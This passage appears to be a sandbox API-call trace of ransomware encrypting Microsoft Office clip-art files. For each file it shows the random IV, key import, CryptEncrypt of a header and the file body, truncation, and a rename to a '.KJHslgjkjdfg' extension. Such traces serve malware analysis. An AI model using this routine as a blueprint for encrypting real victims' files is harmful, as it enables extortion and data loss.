office\\clipart\\pub60cor\\j0297727.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf.kjhslgjkjdfg")) returned 1 [0182.740] CloseHandle (hObject=0x114) returned 1 [0182.740] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x493e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297757.WMF", cAlternateFileName="")) returned 1 [0182.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.742] GetProcessHeap () returned 0x2a0000 [0182.743] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.743] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.743] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.743] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0182.752] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.752] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.752] GetProcessHeap () returned 0x2a0000 [0182.752] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.752] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.752] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.752] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.752] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.752] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.753] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.753] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.753] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.753] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.753] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.753] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.753] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x493e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x493e, lpOverlapped=0x0) returned 1 [0182.761] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4940, dwBufLen=0x4940 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4940) returned 1 [0182.761] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.761] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4940, lpOverlapped=0x0) returned 1 [0182.762] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.762] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4a14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.762] SetEndOfFile (hFile=0x114) returned 1 [0182.765] GetProcessHeap () returned 0x2a0000 [0182.765] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.765] GetProcessHeap () returned 0x2a0000 [0182.765] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf.kjhslgjkjdfg")) returned 1 [0182.767] CloseHandle (hObject=0x114) returned 1 [0182.767] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4960, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0297759.WMF", cAlternateFileName="")) returned 1 [0182.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.768] GetProcessHeap () returned 0x2a0000 [0182.768] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.768] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.768] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.768] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.768] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.768] GetProcessHeap () returned 0x2a0000 [0182.768] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.768] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.768] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.768] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.778] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.778] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.778] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.778] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.778] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.778] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.778] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.778] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.779] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4960, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4960, lpOverlapped=0x0) returned 1 [0182.780] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4960, dwBufLen=0x4960 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4960) returned 1 [0182.780] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.780] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4960, lpOverlapped=0x0) returned 1 [0182.780] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.780] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.780] SetEndOfFile (hFile=0x114) returned 1 [0182.783] GetProcessHeap () returned 0x2a0000 [0182.783] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.783] GetProcessHeap () returned 0x2a0000 [0182.783] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf.kjhslgjkjdfg")) returned 1 [0182.785] CloseHandle (hObject=0x114) returned 1 [0182.785] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0300862.WMF", cAlternateFileName="")) returned 1 [0182.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.788] GetProcessHeap () returned 0x2a0000 [0182.788] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.788] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.788] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.788] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0182.791] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.791] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.791] GetProcessHeap () returned 0x2a0000 [0182.791] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.792] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.792] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.792] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.792] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.792] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.792] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.792] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.792] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.792] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.792] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4584, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4584, lpOverlapped=0x0) returned 1 [0182.793] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4590, dwBufLen=0x4590 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4590) returned 1 [0182.794] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.794] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4590, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4590, lpOverlapped=0x0) returned 1 [0182.794] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.794] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.794] SetEndOfFile (hFile=0x114) returned 1 [0182.797] GetProcessHeap () returned 0x2a0000 [0182.797] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.797] GetProcessHeap () returned 0x2a0000 [0182.797] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf.kjhslgjkjdfg")) returned 1 [0182.799] CloseHandle (hObject=0x114) returned 1 [0182.799] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66f5700, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf66f5700, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2b0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0301044.WMF", cAlternateFileName="")) returned 1 [0182.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.800] GetProcessHeap () returned 0x2a0000 [0182.800] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.800] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.800] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.800] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0182.803] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.803] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.803] GetProcessHeap () returned 0x2a0000 [0182.803] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.803] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.803] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.803] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.803] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.803] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.803] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.803] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.804] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.804] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.804] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.804] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2b0e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2b0e, lpOverlapped=0x0) returned 1 [0182.805] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b10, dwBufLen=0x2b10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b10) returned 1 [0182.805] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.805] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2b10, lpOverlapped=0x0) returned 1 [0182.805] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.805] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.805] SetEndOfFile (hFile=0x114) returned 1 [0182.808] GetProcessHeap () returned 0x2a0000 [0182.808] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.808] GetProcessHeap () returned 0x2a0000 [0182.808] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.808] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf.kjhslgjkjdfg")) returned 1 [0182.809] CloseHandle (hObject=0x114) returned 1 [0182.809] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab7300, ftCreationTime.dwHighDateTime=0x1bf4a6c, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ab7300, ftLastWriteTime.dwHighDateTime=0x1bf4a6c, nFileSizeHigh=0x0, nFileSizeLow=0x2ae8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0301052.WMF", cAlternateFileName="")) returned 1 [0182.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.811] GetProcessHeap () returned 0x2a0000 [0182.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.811] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.811] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.811] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | 